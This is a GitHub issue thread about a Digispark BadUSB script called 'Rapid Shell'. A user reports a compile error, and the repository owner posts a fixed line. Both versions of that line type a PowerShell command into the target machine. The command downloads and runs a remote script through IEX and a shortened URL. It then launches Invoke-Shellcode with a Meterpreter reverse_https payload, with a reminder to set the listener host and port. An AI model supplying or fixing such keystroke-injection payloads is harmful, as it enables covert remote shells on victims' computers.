Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Rapid Shell #16

Open
cloud3799 opened this issue Jan 6, 2019 · 1 comment
Open

Rapid Shell #16

cloud3799 opened this issue Jan 6, 2019 · 1 comment

Comments

@cloud3799
Copy link

Error when uploading script:

msf:50:135: error: expected ';' before 'windows'

DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <192.168.1.51> -Lport <4444> -Force""); // Edit both Lhost and Lport according to your setup

                                                                                                                                   ^

exit status 1
too many decimal points in number

@CedArctic
Copy link
Owner

Sorry for the late reply, I missed the notification. Looks like the double quotes aren't escaped. This should do the trick:
DigiKeyboard.println("powershell \"IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <192.168.1.51> -Lport <4444> -Force\""); // Edit both Lhost and Lport according to your setup

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants